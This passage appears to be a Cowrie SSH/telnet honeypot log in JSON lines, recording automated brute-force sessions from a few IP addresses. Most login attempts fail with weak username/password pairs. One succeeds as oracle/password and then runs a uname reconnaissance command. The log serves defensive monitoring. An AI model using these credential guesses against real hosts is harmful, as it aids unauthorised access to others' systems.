{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60386,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef48efb7768","protocol":"ssh","message":"New connection: 45.153.34.114:60386 (159.203.135.109:22) [session: eef48efb7768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:15.732044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:15.737663Z","src_ip":"45.153.34.114","session":"eef48efb7768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:15.859545Z","src_ip":"45.153.34.114","session":"eef48efb7768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:16.138364Z","src_ip":"45.153.34.114","session":"eef48efb7768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:17.309209Z","src_ip":"45.153.34.114","session":"eef48efb7768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16121816635132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:19.383383Z","src_ip":"74.91.213.120","session":"6e23f76b42ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40742,"dst_ip":"159.203.135.109","dst_port":22,"session":"0989285eb831","protocol":"ssh","message":"New connection: 103.75.199.4:40742 (159.203.135.109:22) [session: 0989285eb831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:22.726315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:22.731632Z","src_ip":"103.75.199.4","session":"0989285eb831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:22.823390Z","src_ip":"103.75.199.4","session":"0989285eb831","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:23.097241Z","src_ip":"103.75.199.4","session":"0989285eb831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.15022349357605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:23.487070Z","src_ip":"74.91.213.120","session":"0109c02ec775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:24.191697Z","src_ip":"103.75.199.4","session":"0989285eb831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37430,"dst_ip":"159.203.135.109","dst_port":22,"session":"48fec5c0428f","protocol":"ssh","message":"New connection: 45.153.34.114:37430 (159.203.135.109:22) [session: 48fec5c0428f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:24.519583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:24.524089Z","src_ip":"45.153.34.114","session":"48fec5c0428f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:24.609717Z","src_ip":"45.153.34.114","session":"48fec5c0428f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:24.937054Z","src_ip":"45.153.34.114","session":"48fec5c0428f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:26.029459Z","src_ip":"45.153.34.114","session":"48fec5c0428f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1296489238739,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:32.682280Z","src_ip":"74.91.213.120","session":"6b04245da549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49406,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7e91637414b","protocol":"ssh","message":"New connection: 45.153.34.114:49406 (159.203.135.109:22) [session: d7e91637414b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:32.795403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:32.803226Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:32.884414Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:33.216497Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:33.430291Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:33.434031Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:33.528497Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:33.533629Z","src_ip":"45.153.34.114","session":"d7e91637414b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17916202545166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:35.400362Z","src_ip":"74.91.213.120","session":"7b4699e7af56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36574,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6e833bc17d","protocol":"telnet","message":"New connection: 74.91.213.120:36574 (159.203.135.109:23) [session: 5b6e833bc17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:36.758900Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43410,"dst_ip":"159.203.135.109","dst_port":22,"session":"b18550411363","protocol":"ssh","message":"New connection: 45.153.34.114:43410 (159.203.135.109:22) [session: b18550411363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:41.366890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:41.371129Z","src_ip":"45.153.34.114","session":"b18550411363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:41.455357Z","src_ip":"45.153.34.114","session":"b18550411363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:41.713348Z","src_ip":"45.153.34.114","session":"b18550411363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:42.799607Z","src_ip":"45.153.34.114","session":"b18550411363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57546,"dst_ip":"159.203.135.109","dst_port":23,"session":"c448a5182569","protocol":"telnet","message":"New connection: 74.91.213.120:57546 (159.203.135.109:23) [session: c448a5182569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:43.379192Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56308,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b2145472697","protocol":"ssh","message":"New connection: 103.75.199.4:56308 (159.203.135.109:22) [session: 1b2145472697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:44.655549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:44.659720Z","src_ip":"103.75.199.4","session":"1b2145472697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:44.751123Z","src_ip":"103.75.199.4","session":"1b2145472697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:45.025815Z","src_ip":"103.75.199.4","session":"1b2145472697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:46.121880Z","src_ip":"103.75.199.4","session":"1b2145472697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59364,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cbde476176d","protocol":"ssh","message":"New connection: 45.153.34.114:59364 (159.203.135.109:22) [session: 9cbde476176d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:49.700854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:49.705195Z","src_ip":"45.153.34.114","session":"9cbde476176d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53018,"dst_ip":"159.203.135.109","dst_port":23,"session":"684fdaf850aa","protocol":"telnet","message":"New connection: 74.91.213.120:53018 (159.203.135.109:23) [session: 684fdaf850aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:49.734426Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:49.795435Z","src_ip":"45.153.34.114","session":"9cbde476176d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:50.056979Z","src_ip":"45.153.34.114","session":"9cbde476176d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:51.191316Z","src_ip":"45.153.34.114","session":"9cbde476176d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59378,"dst_ip":"159.203.135.109","dst_port":22,"session":"da31a9bbef6b","protocol":"ssh","message":"New connection: 45.153.34.114:59378 (159.203.135.109:22) [session: da31a9bbef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:57.594371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:57.599991Z","src_ip":"45.153.34.114","session":"da31a9bbef6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@